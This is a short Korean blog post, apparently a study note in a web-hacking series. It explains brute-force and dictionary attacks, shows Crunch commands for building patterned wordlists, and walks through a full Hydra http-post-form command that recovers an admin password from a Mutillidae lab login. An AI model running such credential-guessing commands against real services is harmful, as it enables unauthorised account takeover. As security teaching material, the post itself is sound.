Brute Force & Dictionary Attacks

밍기적·2023년 1월 6일
0

웹해킹

목록 보기
32/35

무차별 대입 공격은 인증 정보(사용자 이름과 비밀번호)를 알아내기 위해 반복적, 체계적으로 매번 다른 사용자 이름과 비밀번호를 입력하는 방식의 공격입니다

단순하지만 리소스를 많이 소비하는 시행차공 기반의 접근 방식으로, 보통 자동화된 툴이나 스크립트 또는 봇을 사용해 액세스 권한을 획득할 때까지 가능한 모든 조합을 대입합니다

사전 대입 공격은 패스워드로 사용할 만한 것을 사전으로 만들어 놓고 이를 하나씩 대입하여 패스워드 일치 여부를 확인하는 방식의 공격입니다


사전 생성하기

Crunch는 사전을 생성하기 위해 사용됩니다

crunch [min] [max] [characters] -t [pattern] -o [Filename] 

으로 자주 사용합니다

예를들어

crunch 6 8 123abc$ -o test -t a@@@@b 

라고 작성 후 실행한다면 생성되는 사전들은
aaaaab
aabbbb
aac$$b 등등 생성될 것입니다

test 파일이 생성되었습니다

특정 패턴으로 생성하기 위해 -t 옵션을 사용해서 사전을 생성하였습니다


실습

단어 목록이 준비되었다면 해당 목록을 사용하여 타겟 웹 사이트에 대한 액세스 권한을 획득할 수 있습니다

여기서 Hydra라는 도구를 이용할 수 있습니다

Hydra는 실제로 모든 유형의 서비스에서 무차별 대입 공격에 사용될 수 있습니다

hydra [IP 주소] -l admin -P /root/test.txt

현재 사용중인 웹사이트의 서비스 유형을 먼저 확인했습니다

현재 로그인 창의 form을 POST 방식으로 제출을 합니다

  • 또한 현재 사이트에서는 http를 사용하여 전송하고 있습니다

이제 서비스 유형을 확인했으므로 hydra에서 자세한 사용법을 볼 수 있습니다

hydra -U http-post-form

해당 예시를 가지고 실제 서비스에 적용이 가능하기 때문에 매우 유용합니다

"/login.php:user=^USER^&pass=^PASS^:incorrect"

첫 번째 예시를 가져와 해당 웹사이트에 적용시키기 위해 수정을 했습니다

매개변수들은 프록시 툴을 이용하여 웹 서버로 전송되는 메시지를 확인하여 수정했습니다

마지막으로 맨 뒤의 문장에서 hydra에서 사용하는 로그인 실패 시 뜨는 문장을 정의해주기 위해 F:Not Logged In 이라고 작성해줬습니다

최종적인 공격 예시 문장은 아래와 같습니다

"/mutillidae/index.php?page=login.php:username=^USER^&password=^PASS^&login-php-submit-button=Login:F=Not Logged In"

해당 문장을 hydra 문장 뒤에 붙여서 실행합니다

hydra 192.168.75.129 -l admin -P /root/test.txt http-post-form "/mutillidae/index.php?page=login.php:username=^USER^&password=^PASS^&login-php-submit-button=Login:F=Not Logged In"

-v 옵션을 추가하면 진행되는 상황도 볼 수 있습니다

결과로 패스워드를 볼 수 있었습니다


0개의 댓글